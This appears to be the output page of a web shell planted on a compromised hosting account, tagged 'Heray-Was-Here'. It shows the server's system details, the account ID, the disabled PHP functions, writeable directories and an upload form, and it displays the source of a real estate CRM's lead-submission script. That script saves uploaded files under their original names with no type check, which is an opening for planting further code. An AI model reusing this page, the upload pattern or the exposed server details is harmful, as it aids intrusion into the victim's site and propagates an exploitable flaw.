Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/crm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/crm/super-submit.php
<?php
require 'config.php';
require 'super-guard.php';
include 'auth-guard.php';
// Sanitize inputs
$callerName = trim($_POST['callerName']);
$callerEmail = trim($_POST['callerEmail']);
$callerPhone = trim($_POST['callerPhone']);
$callerLocation = trim($_POST['callerLocation']);
$callPurpose = trim($_POST['callPurpose']);
$callerResponse = trim($_POST['callerResponse']);
$source = trim($_POST['source']);
$additionalInfo = trim($_POST['additionalInfo']);
$followUpDate = trim($_POST['followUpDate']);
$assignedStaff = trim($_POST['assignedStaff']);
$leadStatus = trim($_POST['leadStatus']);

// ✅ Check if "Follow-Up Needed" is in the selected statuses
$followUpNeeded = (stripos($leadStatus, 'Follow-Up Needed') !== false) ? 'Yes' : 'No';

// Handle file upload
$attachmentName = '';
if (isset($_FILES['attachments']) && $_FILES['attachments']['error'] === UPLOAD_ERR_OK) {
  $attachmentName = basename($_FILES['attachments']['name']);
  move_uploaded_file($_FILES['attachments']['tmp_name'], "uploads/" . $attachmentName);
}

// ✅ Prepare and execute insert query into crm_entries
$stmt = $conn->prepare("INSERT INTO crm_entries (
  caller_name, caller_email, caller_phone, caller_location, call_purpose, 
  caller_response, source, additional_info, follow_up_date, 
  assigned_staff, lead_status, follow_up_needed, attachment_name
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");

$stmt->bind_param("sssssssssssss",
  $callerName, $callerEmail, $callerPhone, $callerLocation, $callPurpose,
  $callerResponse, $source, $additionalInfo, $followUpDate,
  $assignedStaff, $leadStatus, $followUpNeeded, $attachmentName
);

if ($stmt->execute()) {
  // ✅ Update the lead_summary table
  // Get today's date for summary_date
  $today = date('Y-m-d');

  // Fetch the current summary data
  $summaryQuery = "SELECT * FROM lead_summary WHERE summary_date = ?";
  $summaryStmt = $conn->prepare($summaryQuery);
  $summaryStmt->bind_param("s", $today);
  $summaryStmt->execute();
  $summaryResult = $summaryStmt->get_result();

  // If a summary for today exists, update it; otherwise, insert a new summary entry
  if ($summaryResult->num_rows > 0) {
    // Existing summary, update the counts
    $summary = $summaryResult->fetch_assoc();
    $totalLeads = $summary['total_leads'] + 1;
    $followups = ($followUpNeeded === 'Yes') ? $summary['followups'] + 1 : $summary['followups'];
    $converted = ($leadStatus === 'Converted') ? $summary['converted'] + 1 : $summary['converted'];

    $updateQuery = "UPDATE lead_summary SET total_leads = ?, followups = ?, converted = ? WHERE id = ?";
    $updateStmt = $conn->prepare($updateQuery);
    $updateStmt->bind_param("iiii", $totalLeads, $followups, $converted, $summary['id']);
    $updateStmt->execute();
  } else {
    // No summary for today, insert a new summary entry
    $totalLeads = 1;
    $followups = ($followUpNeeded === 'Yes') ? 1 : 0;
    $converted = ($leadStatus === 'Converted') ? 1 : 0;

    $insertQuery = "INSERT INTO lead_summary (summary_date, total_leads, followups, converted, created_at) 
                    VALUES (?, ?, ?, ?, NOW())";
    $insertStmt = $conn->prepare($insertQuery);
    $insertStmt->bind_param("siii", $today, $totalLeads, $followups, $converted);
    $insertStmt->execute();
  }

  // ✅ Redirect after successful submission
  echo "<script>alert('CRM entry submitted successfully!'); window.location.href='super-crm.php';</script>";
} else {
  echo "Error: " . $stmt->error;
}
?>

Hry